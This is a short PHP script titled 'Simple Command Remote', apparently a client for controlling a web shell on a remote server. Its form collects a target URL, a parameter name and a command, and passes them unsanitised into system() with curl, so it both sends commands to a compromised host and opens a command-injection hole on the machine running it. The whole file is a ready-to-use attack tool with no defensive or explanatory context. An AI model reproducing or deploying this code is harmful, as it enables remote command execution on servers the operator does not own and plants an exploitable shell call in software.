Simple Command Remote

<?php
echo "<form method=post>URL : <input name=target><br>POST NAME : <input name=anu><br>COMMAND : <input name=cmd><br><input type=submit value=RUN name=azx></form><br><br>";
if($_POST["azx"]){
echo system('curl -d '.$_POST["anu"].'="'.$_POST["cmd"].'" '.$_POST["target"]);}